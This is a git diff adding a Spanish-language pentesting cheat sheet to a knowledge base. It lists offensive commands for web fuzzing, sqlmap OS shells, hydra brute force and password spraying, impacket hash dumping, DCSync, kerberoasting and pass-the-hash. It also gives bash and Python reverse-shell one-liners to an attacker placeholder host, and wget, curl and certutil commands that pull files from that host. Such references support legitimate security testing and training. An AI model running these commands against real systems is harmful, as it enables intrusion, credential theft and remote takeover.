diff --git a/nucleo/saber/conocimiento/06 - Cheatsheets/Comandos de herramientas.md b/nucleo/saber/conocimiento/06 - Cheatsheets/Comandos de herramientas.md
new file mode 100644
index 0000000..bb48384
--- /dev/null
+++ b/nucleo/saber/conocimiento/06 - Cheatsheets/Comandos de herramientas.md	
@@ -0,0 +1,144 @@
+# Comandos de herramientas de pentesting
+
+Referencia densa de las invocaciones mas usadas de las herramientas que NO traen
+man page. Marcadores: `IP` objetivo, `TU_IP` atacante, `DOM` dominio, `USER`,
+`PASS`, `HASH` (NTLM), `URL`, `WL` wordlist.
+
+## Descubrimiento de contenido web
+
+```bash
+# ffuf
+ffuf -u http://IP/FUZZ -w WL -mc 200,301,302,401,403 -e .php,.txt,.html
+ffuf -u http://IP/ -w WL -H "Host: FUZZ.dominio.com" -fs 4242        # vhost
+ffuf -u "http://IP/page?FUZZ=1" -w WL -fw 42                          # parametros
+ffuf -u http://IP/api/FUZZ -w WL -mc all -fc 404 -recursion
+
+# feroxbuster
+feroxbuster -u http://IP -w WL -x php,txt,html -d 2 -t 50
+feroxbuster -u http://IP --filter-status 404 --extract-links
+
+# gobuster
+gobuster dir -u http://IP -w WL -x php,txt -t 40 -b 404
+gobuster dns -d dominio.com -w WL
+gobuster vhost -u http://IP -w WL --append-domain
+```
+
+## Inyeccion SQL automatica (sqlmap)
+
+```bash
+sqlmap -u "http://IP/page?id=1" --batch --dbs
+sqlmap -u "http://IP/page?id=1" -D basedatos --tables
+sqlmap -u "http://IP/page?id=1" -D basedatos -T users --dump
+sqlmap -r peticion.txt --batch --level 5 --risk 3          # peticion de Burp
+sqlmap -u URL --os-shell                                    # a shell
+sqlmap -u URL --data "user=1&pass=1" -p user               # POST
+```
+
+## Escaneo de vulnerabilidades (nuclei)
+
+```bash
+nuclei -u http://IP
+nuclei -l objetivos.txt -severity critical,high
+nuclei -u http://IP -t cves/ -t exposures/
+nuclei -u http://IP -tags sqli,xss,lfi
+```
+
+## Fuerza bruta de credenciales (hydra)
+
+```bash
+hydra -l USER -P WL ssh://IP
+hydra -L users.txt -P WL IP ssh -t 4
+hydra -l USER -P WL IP http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
+hydra -l USER -P WL ftp://IP
+hydra -L users.txt -p PASS smb://IP                         # spraying
+```
+
+## Active Directory y Windows (impacket, netexec, evil-winrm)
+
+```bash
+# CrackMapExec / NetExec — el navaja suiza de AD
+crackmapexec smb IP -u USER -p PASS --shares
+crackmapexec smb 10.0.0.0/24 -u USER -p PASS                # barrido/spray
+crackmapexec smb IP -u USER -H HASH --sam                   # pass-the-hash + dump SAM
+crackmapexec winrm IP -u USER -p PASS -x "whoami"
+netexec smb IP -u USER -p PASS --users --groups
+
+# Impacket
+impacket-secretsdump DOM/USER:PASS@IP                       # dump de hashes
+impacket-secretsdump -just-dc DOM/USER@IP -hashes :HASH     # DCSync (con priv)
+impacket-GetUserSPNs DOM/USER:PASS -dc-ip IP -request       # kerberoasting
+impacket-GetNPUsers DOM/ -usersfile users.txt -no-pass      # AS-REP roasting
+impacket-getTGT DOM/USER:PASS                               # pedir TGT (Pass-the-Ticket)
+impacket-psexec DOM/USER:PASS@IP                            # shell SYSTEM
+impacket-wmiexec DOM/USER:PASS@IP                           # shell sin tocar disco
+impacket-smbexec DOM/USER@IP -hashes :HASH
+impacket-mssqlclient DOM/USER:PASS@IP -windows-auth
+
+# BloodHound (recoleccion)
+bloodhound-python -d DOM -u USER -p PASS -ns IP -c all
+# despues: neo4j console; y cargar el zip en BloodHound
+
+# Evil-WinRM (shell interactiva Windows)
+evil-winrm -i IP -u USER -p PASS
+evil-winrm -i IP -u USER -H HASH                            # pass-the-hash
+```
+
+## Cracking de contraseñas (john, hashcat)
+
+```bash
+# John
+john --wordlist=WL hashes.txt
+john --wordlist=WL --format=NT hashes.txt
+zip2john fichero.zip > hash; john hash
+ssh2john id_rsa > hash; john --wordlist=WL hash
+
+# Hashcat (modo -m)
+hashcat -m 1000 hashes.txt WL          # NTLM
+hashcat -m 0    hashes.txt WL          # MD5
+hashcat -m 100  hashes.txt WL          # SHA1
+hashcat -m 1800 hashes.txt WL          # sha512crypt (/etc/shadow $6$)
+hashcat -m 13100 hashes.txt WL         # Kerberoast (TGS)
+hashcat -m 18200 hashes.txt WL         # AS-REP
+hashcat -m 5600 hashes.txt WL          # NetNTLMv2 (Responder)
+hashcat -m 22000 hash.hc22000 WL       # WPA/WPA2
+```
+
+## Recon de red (nmap, comun)
+
+```bash
+nmap -sn 10.0.0.0/24                                     # hosts vivos
+nmap -p- --min-rate 5000 IP                              # todos los puertos, rapido
+nmap -sV -sC -p 22,80,443 IP                             # version + scripts
+nmap -sU --top-ports 20 IP                               # UDP
+nmap --script vuln IP
+```
+
+## Shells reversas y estabilizacion
+
+```bash
+# Escucha
+nc -lvnp 4444
+rlwrap nc -lvnp 4444                                     # con historial
+
+# Disparo (Linux)
+bash -i >& /dev/tcp/TU_IP/4444 0>&1
+sh -i >& /dev/tcp/TU_IP/4444 0>&1
+python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("TU_IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
+
+# Estabilizar la TTY tras coger la shell
+python3 -c 'import pty;pty.spawn("/bin/bash")'
+# Ctrl-Z; en tu terminal: stty raw -echo; fg; luego: export TERM=xterm
+```
+
+## Transferencia de ficheros
+
+```bash
+# Servir desde el atacante
+python3 -m http.server 80
+impacket-smbserver share $(pwd) -smb2support                 # SMB
+# Recibir en la victima
+wget http://TU_IP/file -O /tmp/file
+curl http://TU_IP/file -o /tmp/file
+certutil -urlcache -f http://TU_IP/file file.exe             # Windows
+powershell iwr http://TU_IP/file -OutFile file               # Windows
+```